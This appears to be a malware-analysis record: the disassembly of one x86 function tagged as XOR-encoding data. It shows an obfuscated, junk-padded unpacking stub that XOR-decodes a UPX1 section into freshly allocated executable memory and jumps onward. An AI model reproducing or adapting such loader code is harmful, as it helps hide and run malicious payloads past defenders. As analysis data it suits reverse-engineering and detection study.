Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe9e43bfa
inc esi
mov esi, 0x62efeb50
popal
inc edx
not esi
mov edi, 0
mov ebx, esi
not eax
inc eax
mov ecx, ebx
dec edx
sub edx, 0x607541b
mov esi, ecx
sub eax, 0x89ecd441
mov eax, 0x3f1c54f0
inc edi
sub edx, 0x91a82171
sub eax, 0x8244f658
cmp edi, 0x10082db
jne 0xa789c1
inc eax
not eax
mov esi, edx
mov esi, 0x3c44851c
mov eax, 0xa78796
mov ecx, esi
sub ecx, edi
inc edi
mov edx, 0xa7898a
mov edi, 0x3441a126
or ecx, esi
mov ebx, dword [eax]
not ecx
add edi, esi
and ebx, 0xff
mov esi, ecx
or esi, ecx
or esi, esi
xor dword [edx], ebx
not ecx
not ecx
inc edx
sub edi, 1
sub ecx, esi
mov ecx, edi
inc eax
sub ecx, 0xf2ef1aa7
and ecx, edi
inc edi
cmp edx, entry0
jl 0xa78a15
sub ecx, 1
sub ecx, 1
and edi, edi
sub esi, 0x67c7b778
mov esi, edi
add ecx, 1
not ebx
mov edx, 0xa7898e
mov esi, ecx
or esi, ebx
add ecx, ebx
mov edx, dword [edx]
mov edi, 0x74a89d9c
mov ecx, 0xf43a316d
and edi, ebx
mov edx, dword [edx]
mov ecx, 0x800c1b8e
sub ecx, edi
push edx
and esi, edi
or ebx, edi
mov edx, 0xa7898a
add esi, edi
or ebx, edi
inc esi
mov edx, dword [edx]
not edi
sub edi, ecx
sub ecx, 0xfdddbf83
mov edx, dword [edx]
inc esi
add esi, esi
push 0xa78992
sub ebx, ecx
or ebx, edi
call edx
add ecx, esi
add ecx, 0x906112ec
pop edx
mov edi, esi
sub esi, ebx
sub esp, 4
mov dword [esp], 0xa7899f
mov edi, esi
sub esi, ebx
sub esp, 4
mov dword [esp], eax
or edi, ebx
sub ecx, ebx
mov esi, ebx
call edx
inc edi
sub ecx, 0xd2f98473
sub ecx, 1
push 0x40
add esi, 0xe6fa5daa
mov ebx, 0x135f21ec
or ebx, ebx
push 0x3000
not ecx
mov edi, 0xaf5bf381
push 0x2000060d
mov ebx, 0x373fe9a4
not ebx
mov ebx, 0x1ada1950
push 0
sub ecx, 1
inc edi
dec ebx
call eax
mov esi, ebx
sub edi, ebx
and ecx, ebx
add eax, 0x2000058f
add ebx, 0xdaf30f3
add ecx, ebx
not ecx
mov edx, 0xa3d5cc12
add ebx, 0x9c0922ff
and ebx, edi
mov dword [eax], edx
and esi, ebx
dec ebx
mov edx, dword [eax]
or ebx, ebx
sub ecx, esi
not esi
cmp edx, 0xa3d5cc12
je 0xa78b6c
mov ebx, 0
mov cl, byte [ebx]
add edi, 0x7e5ff53d
add ebx, 0x305acbc0
dec edi
sub esi, ebx
and ecx, edi
add edi, 0x83360fb1
sub esi, 1
sub edx, 0xaecf2764
add edx, 1
mov edi, section.UPX1
or esi, edx
mov edx, esi
mov eax, 0xa78795
dec edx
and esi, edx
and edx, esi
mov ebx, 0
mov esi, 0x35b4ffa7
add edx, 0xd205c2f3
mov ecx, 0xa78796
mov esi, edx
dec esi
dec edx
lea ecx, [ecx + ebx]
mov esi, 0xdbfc60d2
mov edx, esi
and esi, edx
mov ecx, dword [ecx]
or edx, edx
and edx, edx
and ecx, 0xff
not esi
add edx, 0x366d2f78
mov edx, esi
add ebx, 1
mov esi, edx
add esi, 0xdb1e630b
cmp ebx, 0x1f4
jne 0xa78bfe
mov ebx, 0
inc edx
not edx
add edx, 1
sub edx, 1
xor dword [edi], ecx
not esi
or esi, edx
or esi, edx
add edi, 2
not edx
mov edx, 0x9484b3d3
cmp edi, eax
jl 0xa78bb8
not edx
dec edx
sub edx, esi
mov esi, edx
mov esi, section.UPX1
sub ecx, edx
add ecx, 1
mov eax, section.UPX1
add edx, 0x569c634b
sub ecx, edx
mov edi, 0xa78795
mov edx, 0x49c51d29
add edx, 1
dec edx
mov ebx, 0
mov edx, 0xd965b8a3
or edx, edx
mov edx, 0x738e0fb7
mov bl, byte [eax]
mov edx, 0xffca97fd
or edx, edx
and ecx, edx
mov byte [esi], bl
add edx, ecx
mov ecx, edx
add esi, 1
inc edx
or ecx, ecx
not edx
add eax, 2
or edx, edx
sub edx, 0x970c10a4
cmp eax, edi
jle 0xa78c6d
inc edx
add ecx, 0xbe82126d
dec esi
not edx
sub esi, edx
sub esp, 4
mov dword [esp], 0x8dc6a0
mov edx, 0xf4761c2d
mov edx, esi
ret